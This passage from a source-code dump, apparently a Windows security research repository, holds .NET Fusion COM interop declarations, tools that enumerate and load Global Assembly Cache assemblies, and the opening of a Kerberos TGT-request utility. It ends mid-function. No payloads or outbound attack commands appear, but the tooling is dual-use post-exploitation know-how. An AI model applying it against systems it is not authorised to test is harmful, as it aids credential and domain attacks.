(0x00000002)</item>\n        /// </list>\n        /// </param>\n        /// <param name=\"pszManifestFilePath\">The path to the manifest for the assembly to install.</param>\n        /// <param name=\"pRefData\">A FUSION_INSTALL_REFERENCE structure that contains data for the installation.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint InstallAssembly(\n            uint dwFlags,\n            [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath,\n            [MarshalAs(UnmanagedType.LPArray)] FUSION_INSTALL_REFERENCE[] pRefData\n        );\n    }\n}\n"
  },
  {
    "path": "Fusion/FindAssembly/Fusion/IAssemblyCacheItem.cs",
    "content": "﻿using System;\nusing System.Text;\nusing System.Runtime.InteropServices;\nusing System.Runtime.InteropServices.ComTypes;\n\nnamespace FindAssembly.Fusion {\n\n    [ComImport, Guid(\"9E3AAEB4-D1CD-11D2-BAB9-00C04F8ECEAE\")]\n    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]\n    public interface IAssemblyCacheItem {\n\n        /// <summary>\n        /// Allows the assembly in the global assembly cache to perform cleanup operations before it is released.\n        /// </summary>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint AbortItem();\n\n        /// <summary>\n        /// Commits the cached assembly reference to memory.\n        /// </summary>\n        /// <param name=\"dwFlags\">Flags defined in Fusion.idl.</param>\n        /// <param name=\"pulDisposition\">A value that indicates the result of the operation.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint Commit(\n           uint dwFlags,\n           ref ulong pulDisposition\n        );\n\n        /// <summary>\n        /// Creates a stream with the specified name and format.\n        /// </summary>\n        /// <param name=\"dwFlags\">Flags defined in Fusion.idl.</param>\n        /// <param name=\"pszAssemblyName\">The name of the stream to be created.</param>\n        /// <param name=\"dwFormat\">The format of the file to be streamed.</param>\n        /// <param name=\"dwFormatFlags\">Format-specific flags defined in Fusion.idl.</param>\n        /// <param name=\"ppIStream\">A pointer to the address of the returned IStream instance.</param>\n        /// <param name=\"puliMaxSize\">The maximum size of the stream referenced by ppIStream.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint CreateStream(\n            uint dwFlags,\n            [MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszAssemblyName,\n            uint dwFormat,\n            uint dwFormatFlags,\n            out IStream ppIStream,\n            ref long puliMaxSize\n        );\n    }\n}\n"
  },
  {
    "path": "Fusion/FindAssembly/Fusion/IAssemblyEnum.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace FindAssembly.Fusion {\n\n    /// <summary>\n    /// Represents an enumerator for an array of IAssemblyName objects.\n    /// </summary>\n    [ComImport, Guid(\"21B8916C-F28E-11D2-A473-00C04F8EF448\")]\n    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]\n    public interface IAssemblyEnum {\n\n        /// <summary>\n        /// Gets a pointer to the next IAssemblyName contained in this IAssemblyEnum object.\n        /// </summary>\n        /// <param name=\"pvReserved\">Reserved for future extensibility. pvReserved must be a null reference.</param>\n        /// <param name=\"ppName\">The returned IAssemblyName pointer.</param>\n        /// <param name=\"dwFlags\">Reserved for future extensibility. dwFlags must be 0 (zero).</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint GetNextAssembly(\n            IntPtr pvReserved,\n            out IAssemblyName ppName,\n            uint dwFlags\n        );\n\n        /// <summary>\n        /// Resets this IAssemblyEnum object to its starting position.\n        /// </summary>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint Reset();\n\n        /// <summary>\n        /// Creates a shallow copy of this IAssemblyEnum object.\n        /// </summary>\n        /// <param name=\"ppEnum\">A pointer to the copy.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint Clone(\n            out IAssemblyEnum ppEnum\n        );\n    }\n}\n"
  },
  {
    "path": "Fusion/FindAssembly/Fusion/IAssemblyName.cs",
    "content": "﻿using System;\nusing System.Text;\nusing System.Runtime.InteropServices;\n\nnamespace FindAssembly.Fusion {\n\n    /// <summary>\n    /// Provides methods for describing and working with an assembly's unique identity.\n    /// </summary>\n    [ComImport, Guid(\"CD193BC0-B4BC-11d2-9833-00C04FC31D2E\")]\n    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]\n    public interface IAssemblyName {\n\n        /// <summary>\n        /// Sets the value of the property referenced by the specified property identifier.\n        /// </summary>\n        /// <param name=\"PropertyId\">The unique identifier of the property whose value will be set.</param>\n        /// <param name=\"pvProperty\">The value to which to set the property referenced by PropertyId.</param>\n        /// <param name=\"cbProperty\">The size, in bytes, of pvProperty.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint SetProperty(\n            uint PropertyId,\n            IntPtr pvProperty,\n            uint cbProperty\n        );\n\n        /// <summary>\n        /// Gets a pointer to the property referenced by the specified property identifier.\n        /// </summary>\n        /// <param name=\"PropertyId\">The unique identifier for the requested property.</param>\n        /// <param name=\"pvProperty\">The returned property data.</param>\n        /// <param name=\"pcbProperty\">The size, in bytes, of pvProperty.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint GetProperty(\n            uint PropertyId,\n            IntPtr pvProperty,\n            ref uint pcbProperty\n        );\n\n        /// <summary>\n        /// Allows this IAssemblyName object to release resources and perform other cleanup operations before its destructor is called.\n        /// </summary>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint Finalize();\n\n        /// <summary>\n        /// Gets the human-readable name of the assembly referenced by this IAssemblyName object.\n        /// </summary>\n        /// <param name=\"szDisplayName\">The string buffer that contains the name of the referenced assembly.</param>\n        /// <param name=\"pccDisplayName\">The size of szDisplayName in wide characters, including a null terminator character.</param>\n        /// <param name=\"dwDisplayFlags\">A bitwise combination of ASM_DISPLAY_FLAGS values that influence the features of szDisplayName.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint GetDisplayName(\n            [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder szDisplayName,\n            ref uint pccDisplayName,\n            uint dwDisplayFlags\n        );\n\n        /// <summary>\n        /// Undocumented.\n        /// </summary>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint Reserved(\n            ref Guid refIID,\n            object pUnkReserved1,\n            object pUnkReserved2,\n            string szReserved,\n            long llReserved,\n            IntPtr pvReserved,\n            uint cbReserved,\n            out IntPtr ppReserved\n        );\n\n        /// <summary>\n        /// Gets the simple, unencrypted name of the assembly referenced by this IAssemblyName object.\n        /// </summary>\n        /// <param name=\"lpcwBuffer\">The size of pwzName in wide characters, including the null terminator character.</param>\n        /// <param name=\"pwzName\">A buffer to hold the name of the referenced assembly.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint GetName(\n            ref uint lpcwBuffer,\n            [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwzName\n        );\n\n        /// <summary>\n        /// Gets the version information for the assembly referenced by this IAssemblyName object.\n        /// </summary>\n        /// <param name=\"pdwVersionHi\">The high 32 bits of the version.</param>\n        /// <param name=\"pdwVersionLow\">The low 32 bits of the version.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint GetVersion(\n            out uint pdwVersionHi,\n            out uint pdwVersionLow\n        );\n\n        /// <summary>\n        /// Determines whether a specified IAssemblyName object is equal to this IAssemblyName, based on the specified comparison flags.\n        /// </summary>\n        /// <param name=\"pName\">The IAssemblyName object to which to compare this IAssemblyName.</param>\n        /// <param name=\"dwCmpFlags\">A bitwise combination of ASM_CMP_FLAGS values that influence the comparison.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint IsEqual(\n            IAssemblyName pName,\n            uint dwCmpFlags\n        );\n\n        /// <summary>\n        /// Creates a shallow copy of this IAssemblyName object.\n        /// </summary>\n        /// <param name=\"pName\">The returned copy of this IAssemblyName object.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint Clone(\n            out IAssemblyName pName\n        );\n    }\n}\n"
  },
  {
    "path": "Fusion/FindAssembly/Program.cs",
    "content": "﻿using System;\nusing System.Reflection;\nusing FindAssembly.Fusion;\n\nnamespace FindAssembly {\n    internal sealed class Program {\n        static void Main(string[] args) {\n            Console.WriteLine(\"\\nFind and load .NET Framework Assembly from the GAC\");\n            Console.WriteLine(\"Copyright (C) 2020 Paul Laine (@am0nsec)\");\n            Console.WriteLine(\"https://ntamonsec.blogpost.com\\n\");\n\n            if (args.Length != 2) {\n                Console.WriteLine(\"usage: FindAssembly.exe <1> <2>\");\n                Console.WriteLine(\"\\t 1- The name of the .NET Framework Assembly to find.\");\n                Console.WriteLine(\"\\t 2- The major version of the .NET Framework Assembly.\\n\");\n\n                Console.WriteLine(\"example: \\n\");\n                Console.WriteLine(\"\\t FindAssembly.exe System.Management.Automation 3\\n\");\n                return;\n            }\n            string szAssemblyName = args[0];\n            Int16 i16Version = Convert.ToInt16(args[1]);\n\n            // Find the System.Management.Automation Assembly\n            GACUtil gac = new GACUtil();\n            ASSEMBLY_IDENTITY AssemblyIdentity = new ASSEMBLY_IDENTITY();\n            gac.FindAssembly(szAssemblyName, i16Version, ref AssemblyIdentity);\n            Console.WriteLine($\"Assembly path: \\n{AssemblyIdentity.szGacPath}\\n\");\n\n            // Load the assembly into new application domain\n            AppDomain domain = AppDomain.CreateDomain(\"C367F796-8B63-461D-A058-2CCD657F1891\");\n            Assembly assembly = domain.Load(AssemblyName.GetAssemblyName(AssemblyIdentity.szGacPath));\n\n            // List all types\n            if (assembly != null) {\n                Console.WriteLine(\"Exported Types:\");\n                foreach (Type t in assembly.GetExportedTypes())\n                    Console.WriteLine($\"\\t {t.Name}\");\n\n                AppDomain.Unload(domain);\n            } else {\n                Console.WriteLine(\"Assembly not loaded!\");\n            }\n#if DEBUG\n            Console.ReadKey();\n#endif\n        }\n    }\n}\n"
  },
  {
    "path": "Fusion/FindAssembly/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Information about an assembly is controlled through the following\n// set of attributes. Change these attribute values to modify the information\n// associated with an assembly.\n[assembly: AssemblyTitle(\"ListAssemblies\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"ListAssemblies\")]\n[assembly: AssemblyCopyright(\"Copyright ©  2020\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Setting ComVisible to false makes the types in this assembly not visible\n// to COM components.  If you need to access a type in this assembly from\n// COM, set the ComVisible attribute to true on that type.\n[assembly: ComVisible(false)]\n\n// The following GUID is for the ID of the typelib if this project is exposed to COM\n[assembly: Guid(\"3b49b239-4005-4f25-9e39-522c61b980be\")]\n\n// Version information for an assembly consists of the following four values:\n//\n//      Major Version\n//      Minor Version\n//      Build Number\n//      Revision\n//\n// You can specify all the values or you can default the Build and Revision Numbers\n// by using the '*' as shown below:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n"
  },
  {
    "path": "Fusion/FindAssembly/Win32/Functions.cs",
    "content": "﻿using System;\nusing FindAssembly.Fusion;\nusing System.Runtime.InteropServices;\n\nnamespace FindAssembly.Win32 {\n    internal class Functions {\n\n        [DllImport(\"fusion.dll\", CharSet = CharSet.Auto)]\n        [PreserveSig]\n        public static extern uint CreateAssemblyEnum(\n            out IAssemblyEnum ppEnum,\n            IntPtr pUnkReserved,\n            IAssemblyName pName,\n            ASM_CACHE_FLAGS dwFlags,\n            IntPtr pvReserved\n        );\n\n        [DllImport(\"fusion.dll\", CharSet = CharSet.Auto)]\n        [PreserveSig]\n        public static extern uint CreateAssemblyCache(\n            out IAssemblyCache ppAsmCache,\n            uint dwReserved\n        );\n    }\n}\n"
  },
  {
    "path": "Fusion/FindAssembly/Win32/Macros.cs",
    "content": "﻿\nnamespace FindAssembly.Win32 {\n    public static class Macros {\n\n        public static bool SUCCEEDED(uint hr) => hr >= S_OK;\n\n        public static uint S_OK = 0x00000000;\n        public static uint E_FAIL = 0x80004005;\n\n    }\n}\n"
  },
  {
    "path": "Fusion/FindAssembly/app.config",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n<startup><supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.8\"/></startup></configuration>\n"
  },
  {
    "path": "Fusion/ListAssemblies/gacutil.h",
    "content": "/**\n* @file         gacutil.h\n* @data         06-09-2020\n* @author       Paul Laîné (@am0nsec)\n* @version      1.0\n* @brief        Global Assembly Cache Utilities.\n* @details\n* @link         https://github.com/am0nsec/wspe\n* @copyright    This project has been released under the GNU Public License v3 license.\n*/\n#include <Windows.h>\n#include <fusion.h>\n\n#ifndef _GACUTIL_H\n#define _GACUTIL_H\n\n//-------------------------------------------------------------------------------------------------\n// Macro\n//-------------------------------------------------------------------------------------------------\n#ifdef _WIN64\n#define FUSION_MODULE_PATH L\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\fusion.dll\"\n#else\n#define FUSION_MODULE_PATH L\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\fusion.dll\"\n#endif // !_WIN64\n\n//-------------------------------------------------------------------------------------------------\n// Type definition\n//-------------------------------------------------------------------------------------------------\ntypedef struct _ASSEMBLY_VERSION {\n\tWORD dwMajor;\n\tWORD dwMinor;\n\tWORD dwBuild;\n\tWORD dwRevision;\n} ASSEMBLY_VERSION, * PASSEMBLY_VERSION;\n\ntypedef IAssemblyEnum* PIAssemblyEnum;\ntypedef PIAssemblyEnum* PPIAssemblyEnum;\n\ntypedef IAssemblyCache* PIAssemblyCache;\ntypedef PIAssemblyCache* PPIAssemblyCache;\n\ntypedef IAssemblyName* PIAssemblyName;\ntypedef PIAssemblyName* PPIAssemblyName;\n\n//-------------------------------------------------------------------------------------------------\n// Fusion function prototype\n//-------------------------------------------------------------------------------------------------\ntypedef HRESULT(WINAPI* CreateAssemblyEnumFunc)(\n\t_Out_ PPIAssemblyEnum pEnum,\n\t_In_  IUnknown*       pUnkReserved,\n\t_In_  PIAssemblyName  pName,\n\t_In_  DWORD           dwFlags,\n\t_In_  LPVOID          pvReserved\n);\n\ntypedef HRESULT(WINAPI* CreateAssemblyCacheFunc)(\n\t_Out_ IAssemblyCache** ppAsmCache,\n\t_In_  DWORD            dwReserved\n);\n\n//-------------------------------------------------------------------------------------------------\n// Function prototype\n//-------------------------------------------------------------------------------------------------\nHRESULT ParseAllAssemblies(\n\t_In_ PPIAssemblyEnum  ppIAssemblyEnum,\n\t_In_ PPIAssemblyCache ppIAssemblyCache\n);\n\nHRESULT GetAssemblyName(\n\t_In_  PPIAssemblyName ppIAssemblyName,\n\t_Out_ LPWSTR*         pwszAssemblyName\n);\n\nHRESULT GetAssemblyGACPath(\n\t_In_  PPIAssemblyCache ppIAssemblyCache,\n\t_In_  LPWSTR*          pwszAssemblyName,\n\t_Out_ LPWSTR*          pwszAssemblyGacPath\n);\n\nHRESULT GetAssemblyVersion(\n\t_In_  PPIAssemblyName   ppIAssemblyName,\n\t_Out_ PASSEMBLY_VERSION pAssemblyVersion\n);\n\n#endif // !_GACUTIL_H\n"
  },
  {
    "path": "Fusion/ListAssemblies/main.c",
    "content": "/**\n* @file         main.c\n* @data         06-09-2020\n* @author       Paul Laîné (@am0nsec)\n* @version      1.0\n* @brief        List Assemblies from the Global Assembly Cache (GAC).\n* @details\n* @link         https://github.com/am0nsec/wspe\n* @copyright    This project has been released under the GNU Public License v3 license.\n*/\n#include <Windows.h>\n#include <fusion.h>\n#include <stdio.h>\n\n#include \"gacutil.h\"\n\n/**\n * @brief Global HANDLE for Heap allocation/deallocation.\n*/\nstatic HANDLE g_hProcessHeap = INVALID_HANDLE_VALUE;\n\n/**\n * @brief Entry point.\n * @param argc Number of arguments.\n * @param argv List of arguments.\n * @return Application exit code.\n*/\nINT wmain(INT argc, PWCHAR* argv[]) {\n\twprintf(L\"\\nList .NET Framework Assemblies from the Global Assembly Cache (GAC).\\n\");\n\twprintf(L\"Copyright (C) 2020 Paul Laine (@am0nsec)\\n\");\n\twprintf(L\"https://ntamonsec.blogpost.com\\n\\n\");\n\n\tHMODULE hFusionModule = LoadLibraryW(FUSION_MODULE_PATH);\n\tif (hFusionModule == NULL) {\n\t\twprintf(L\"[-] Unable to load fusion.dll.\\n\\n\");\n\t\treturn 0x01;\n\t}\n\twprintf(L\"[+] Module loaded: fusion.dll.\\n\");\n\t\n\t// Get CreateAssemblyEnum function\n\tCreateAssemblyEnumFunc pCreateAssemblyEnumFunc = (CreateAssemblyEnumFunc)GetProcAddress(hFusionModule, \"CreateAssemblyEnum\");\n\tif (pCreateAssemblyEnumFunc == NULL) {\n\t\twprintf(L\"[-] Unable to find CreateAssemblyEnum function address.\\n\\n\");\n\t\treturn 0x01;\n\t}\n\twprintf(L\"[+] Function found: CreateAssemblyEnum.\\n\");\n\n\t// Get CreateAssemblyCache function\n\tCreateAssemblyCacheFunc pCreateAssemblyCacheFunc = (CreateAssemblyCacheFunc)GetProcAddress(hFusionModule, \"CreateAssemblyCache\");\n\tif (pCreateAssemblyEnumFunc == NULL) {\n\t\twprintf(L\"[-] Unable to find CreateAssemblyCache function address.\\n\\n\");\n\t\treturn 0x01;\n\t}\n\twprintf(L\"[+] Function found: CreateAssemblyCache.\\n\");\n\n\t// Get assembly enum interface\n\tIAssemblyEnum* pIAssemblyEnum = NULL;\n\tpCreateAssemblyEnumFunc(&pIAssemblyEnum, 0, NULL, ASM_CACHE_GAC, NULL);\n\tif (pIAssemblyEnum == NULL) {\n\t\twprintf(L\"[-] Unable to create fusion!IAssemblyEnum interface.\\n\\n\");\n\t\treturn 0x01;\n\t}\n\twprintf(L\"[+] Interface successfully created: fusion!IAssemblyEnum.\\n\");\n\n\t// Get assembly cache\n\tIAssemblyCache* pIAssemblyCache = NULL;\n\tpCreateAssemblyCacheFunc(&pIAssemblyCache, 0);\n\tif (pIAssemblyCache == NULL) {\n\t\twprintf(L\"[-] Unable to create fusion!IAssemblyCache interface.\\n\\n\");\n\t\treturn 0x01;\n\t}\n\twprintf(L\"[+] Interface successfully created: fusion!IAssemblyCache.\\n\\n\");\n\n\t// Parse all Assemblies\n\tParseAllAssemblies(&pIAssemblyEnum, &pIAssemblyCache);\n\tpIAssemblyCache->lpVtbl->Release(pIAssemblyCache);\n\tpIAssemblyEnum->lpVtbl->Release(pIAssemblyEnum);\n\treturn 0x00;\n}\n\n/**\n * @brief Parse all Assemblies from the Global Assembly Cache (GAC)\n * @param ppIAssemblyEnum Pointer to an IAssemblyEnum interface.\n * @param ppIAssemblyCache Pointer to an IAssemblyCache interface.\n * @return Whether the function successfully executed.\n*/\nHRESULT ParseAllAssemblies(PPIAssemblyEnum ppIAssemblyEnum, PPIAssemblyCache ppIAssemblyCache) {\n\tIAssemblyEnum* pEnum = *ppIAssemblyEnum;\n\tIAssemblyCache* pCache = *ppIAssemblyCache;\n\tif (pEnum == NULL || pCache == NULL)\n\t\treturn E_FAIL;\n\n\tHRESULT hr = S_OK;\n\tg_hProcessHeap = GetProcessHeap();\n\n\twhile (TRUE) {\n\t\tIAssemblyName* pIAssemblyName = NULL;\n\t\thr = pEnum->lpVtbl->GetNextAssembly(pEnum, NULL, &pIAssemblyName, 0);\n\t\tif (!SUCCEEDED(hr) || pIAssemblyName == NULL)\n\t\t\tbreak;\n\n\t\t// Get name\n\t\tLPWSTR wszAssemblyName = NULL;\n\t\thr = GetAssemblyName(&pIAssemblyName, &wszAssemblyName);\n\n\t\t// Get assembly path in GAC\n\t\tLPWSTR wszAssemblyGacPath = NULL;\n\t\thr = GetAssemblyGACPath(&pCache, &wszAssemblyName, &wszAssemblyGacPath);\n\n\t\t// Get assembly version\n\t\tASSEMBLY_VERSION AssemblyVersion = { 0 };\n\t\thr = GetAssemblyVersion(&pIAssemblyName, &AssemblyVersion);\n\n\t\t// Display information\n\t\twprintf(L\"Name:    %ws\\n\", wszAssemblyName);\n\t\twprintf(L\"Path:    %ws\\n\", wszAssemblyGacPath);\n\t\twprintf(L\"Version: %d.%d.%d.%d\\n\\n\", AssemblyVersion.dwMajor, AssemblyVersion.dwMinor, AssemblyVersion.dwBuild, AssemblyVersion.dwRevision);\n\n\t\t// Release memory\n\t\tif (wszAssemblyName != NULL)\n\t\t\tHeapFree(g_hProcessHeap, 0, wszAssemblyName);\n\t\tif (wszAssemblyGacPath != NULL)\n\t\t\tHeapFree(g_hProcessHeap, 0, wszAssemblyGacPath);\n\n\t\t// Release interface\n\t\tpIAssemblyName->lpVtbl->Finalize(pIAssemblyName);\n\t\tpIAssemblyName->lpVtbl->Release(pIAssemblyName);\n\t\tpIAssemblyName = NULL;\n\t}\n\n\tpEnum = NULL;\n\tpCache = NULL;\n\treturn S_OK;\n}\n\n/**\n * @brief Get the name of an Assembly.\n * @param ppIAssemblyName Pointer to an IAssemblyName interface.\n * @param pwszAssemblyName Pointer to the name of the Assembly.\n * @return Whether the function successfully executed.\n*/\nHRESULT GetAssemblyName(PPIAssemblyName ppIAssemblyName, LPWSTR* pwszAssemblyName) {\n\tPIAssemblyName pInterface = *ppIAssemblyName;\n\tif (pInterface == NULL || *pwszAssemblyName != NULL)\n\t\treturn E_FAIL;\n\n\t// Get buffer size\n\tDWORD dwBufferSize = 0;\n\tHRESULT hr = pInterface->lpVtbl->GetName(pInterface, &dwBufferSize, 0);\n\tif (dwBufferSize == 0) {\n\t\tpInterface = NULL;\n\t\treturn E_FAIL;\n\t}\n\n\t// Get name\n\t*pwszAssemblyName = (LPWSTR)HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, dwBufferSize * sizeof(WCHAR));\n\thr = pInterface->lpVtbl->GetName(pInterface, &dwBufferSize, *pwszAssemblyName);\n\tif (!SUCCEEDED(hr) || *pwszAssemblyName == NULL) {\n\t\tHeapFree(g_hProcessHeap, 0, *pwszAssemblyName);\n\t\tpInterface = NULL;\n\t\treturn E_FAIL;\n\t}\n\n\tpInterface = NULL;\n\treturn S_OK;\n}\n\n/**\n * @brief Get the path of the Assembly in the Global Assembly Cache (GAC).\n * @param ppIAssemblyCache Pointer to an IAssemblyCache interface.\n * @param pwszAssemblyName Pointer to the name of the assembly to query information.\n * @param pwszAssemblyGacPath Pointer to the path of the assembly in the GAC.\n * @return Whether the function successfully executed.\n*/\nHRESULT GetAssemblyGACPath(PPIAssemblyCache ppIAssemblyCache, LPWSTR* pwszAssemblyName, LPWSTR* pwszAssemblyGacPath) {\n\tPIAssemblyCache pInterface = *ppIAssemblyCache;\n\tif (pInterface == NULL || *pwszAssemblyName == NULL)\n\t\treturn E_FAIL;\n\n\t// Get buffer size\n\tASSEMBLY_INFO AssemblyInfo = { 0 };\n\tHRESULT hr = pInterface->lpVtbl->QueryAssemblyInfo(pInterface, QUERYASMINFO_FLAG_GETSIZE, *pwszAssemblyName, &AssemblyInfo);\n\tif (AssemblyInfo.cchBuf == 0) {\n\t\tpInterface = NULL;\n\t\treturn E_FAIL;\n\t}\n\n\t// Get path\n\tAssemblyInfo.pszCurrentAssemblyPathBuf = (LPWSTR)HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, AssemblyInfo.cchBuf * sizeof(WCHAR));\n\thr = pInterface->lpVtbl->QueryAssemblyInfo(pInterface, QUERYASMINFO_FLAG_VALIDATE, *pwszAssemblyName, &AssemblyInfo);\n\tif (!SUCCEEDED(hr) || AssemblyInfo.pszCurrentAssemblyPathBuf == NULL) {\n\t\tHeapFree(g_hProcessHeap, 0, AssemblyInfo.pszCurrentAssemblyPathBuf);\n\t\tpInterface = NULL;\n\t\treturn E_FAIL;\n\t}\n\n\n\t// Copy data\n\t*pwszAssemblyGacPath = (LPWSTR)HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, AssemblyInfo.cchBuf * sizeof(WCHAR));\n\tRtlCopyMemory(*pwszAssemblyGacPath, AssemblyInfo.pszCurrentAssemblyPathBuf, AssemblyInfo.cchBuf * sizeof(WCHAR));\n\tHeapFree(g_hProcessHeap, 0, AssemblyInfo.pszCurrentAssemblyPathBuf);\n\n\tpInterface = NULL;\n\treturn S_OK;\n}\n\n/**\n * @brief Get the version of an Assembly\n * @param ppIAssemblyName Pointer to an IAssemblyName interface.\n * @param pAssemblyVersion Pointer to an ASSEMBLY_VERSION structure.\n * @return Whether the function executed successfully\n*/\nHRESULT GetAssemblyVersion(PPIAssemblyName ppIAssemblyName, PASSEMBLY_VERSION pAssemblyVersion) {\n\tIAssemblyName* pInterface = *ppIAssemblyName;\n\tif (pInterface == NULL || pAssemblyVersion == NULL)\n\t\treturn E_FAIL;\n\n\t// Get version\n\tDWORD dwHigh = 0;\n\tDWORD dwLow = 0;\n\tHRESULT hr = pInterface->lpVtbl->GetVersion(pInterface, &dwHigh, &dwLow);\n\tif (!SUCCEEDED(hr))\n\t\treturn E_FAIL;\n\n\tpAssemblyVersion->dwMajor = dwHigh >> 0x10;\n\tpAssemblyVersion->dwMinor = dwHigh & 0xff;\n\tpAssemblyVersion->dwBuild = dwLow >> 0x10;\n\tpAssemblyVersion->dwRevision = dwLow & 0xff;\n\n\tpInterface = NULL;\n\treturn S_OK;\n}\n"
  },
  {
    "path": "Kerberos/AskTGT/CMakeLists.txt",
    "content": "# @file        CMakeLists.txt\n# @author      Paul L. (@am0nsec)\n# @version     1.0\n# @brief       Kerberos request kerberos TGT.\n# @details     \n# @link        https://github.com/am0nsec/wspe\n# @copyright   This project has been released under the GNU Public License v3 license.\n\nadd_executable(pkasktgt\n\t\"main.c\"\n\t\"kerberos.c\"\n\t\"socket.c\"\n\n\t\"kerberos.h\"\n\t\"socket.h\"\n)\n\nset_property(TARGET pkasktgt\n\tPROPERTY\n\tMSVC_RUNTIME_LIBRARY \"MultiThreaded$<$<CONFIG:Rlease>:Rlease>\"\n)"
  },
  {
    "path": "Kerberos/AskTGT/kerberos.c",
    "content": "\n#include <Windows.h>\n#include <strsafe.h>\n#include \"kerberos.h\"\n\n/// <summary>\n/// Format system time in \"%ld%02ld%02ld%02ld%02ld%02ldZ\" format.\n/// </summary>\nNTSTATUS KerbpFormatTimestamp(\n\t_Out_ CHAR** pszBuffer,\n\t_In_  CONST DWORD dwBufferSize,\n\t_In_  CONST CHAR* Format,\n\t_In_  ...\n) {\n\tva_list ArgumentList;\n\tva_start(ArgumentList, Format);\n\n\tINT BytesWritten = _vsnprintf(*pszBuffer, dwBufferSize, Format, ArgumentList);\n\tif (BytesWritten < 0x00) {\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Get code point.\n/// </summary>\nINT32 KerbpGetCodePoint(\n\t_In_    PBYTE  String,\n\t_In_    INT32  StringSize,\n\t_Inout_ INT32* Offset\n) {\n\tINT32 c = String[(*Offset)++];\n\tif (c >= 0xD800 && c < 0xDC00 && *Offset < StringSize) {\n\t\tINT32 d = String[*Offset];\n\t\tif (d >= 0xDC00 && d < 0xE000) {\n\t\t\tc = ((c & 0x3FF) << 10) + (d & 0x3FF) + 0x10000;\n\t\t\t(*Offset)++;\n\t\t}\n\t}\n\treturn c;\n}\n\n/// <summary>\n/// UTF8 encoding of a string.\n/// </summary>\nNTSTATUS KerbpEncodeUTF8(\n\t_In_  PBYTE  StringIn,\n\t_In_  INT32  StringInSize,\n\t_Out_ PBYTE* StringOut,\n\t_Out_ INT32* StringOutSize\n) {\n\t// Allocate memory\n\t*StringOut = calloc(0x1, (StringInSize * 4) + sizeof(WCHAR));\n\tPBYTE dst = *StringOut;\n\n\twhile (*StringOutSize < StringInSize) {\n\t\tINT32 cp = KerbpGetCodePoint(StringIn, StringInSize, StringOutSize);\n\t\tif (cp < 0x80) {\n\t\t\t*dst++ = (UCHAR)cp;\n\t\t}\n\t\telse if (cp < 0x800) {\n\t\t\t*dst++ = (UCHAR)(0xC0 + (cp >> 6));\n\t\t\t*dst++ = (UCHAR)(0x80 + (cp & 63));\n\t\t}\n\t\telse if (cp < 0x10000) {\n\t\t\t*dst++ = (UCHAR)(0xE0 + (cp >> 12));\n\t\t\t*dst++ = (UCHAR)(0x80 + ((cp >> 6) & 63));\n\t\t\t*dst++ = (UCHAR)(0x80 + (cp & 63));\n\t\t}\n\t\telse {\n\t\t\t*dst++ = (UCHAR)(0xF0 + (cp >> 18));\n\t\t\t*dst++ = (UCHAR)(0x80 + ((cp >> 12) & 63));\n\t\t\t*dst++ = (UCHAR)(0x80 + ((cp >> 6) & 63));\n\t\t\t*dst++ = (UCHAR)(0x80 + (cp & 63));\n\t\t}\n\t}\n\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Get the length associated with an ASN.1 element tag\n/// </summary>\nINT32 KerbpGetAsnTagLength(\n\t_In_ INT32 Tag\n) {\n\tif (Tag <= 0x1F)\n\t\treturn 1;\n\n\tint cx = 1;\n\twhile (Tag > 0) {\n\t\tcx++;\n\t\tTag >>= 7;\n\t}\n\treturn cx;\n}\n\n/// <summary>\n/// Get the lenght of the encoded length.\n/// </summary>\nINT32 KerbpGetAsnLengthLenght(\n\t_In_ INT32 Length\n) {\n\tif (Length < 0x80) {\n\t\treturn 0x01;\n\t}\n\n\tINT32 cx = 1;\n\twhile (Length > 0x00) {\n\t\tcx++;\n\t\tLength >>= 8;\n\t}\n\treturn cx;\n}\n\n/// <summary>\n/// Get the lenght of the object once encoded.\n/// </summary>\nINT32 KerbpAsnGetEffectiveEncodedLength(\n\t_In_ ASN_ELEMENT* pElement\n) {\n\tif (pElement->ObjectLength < 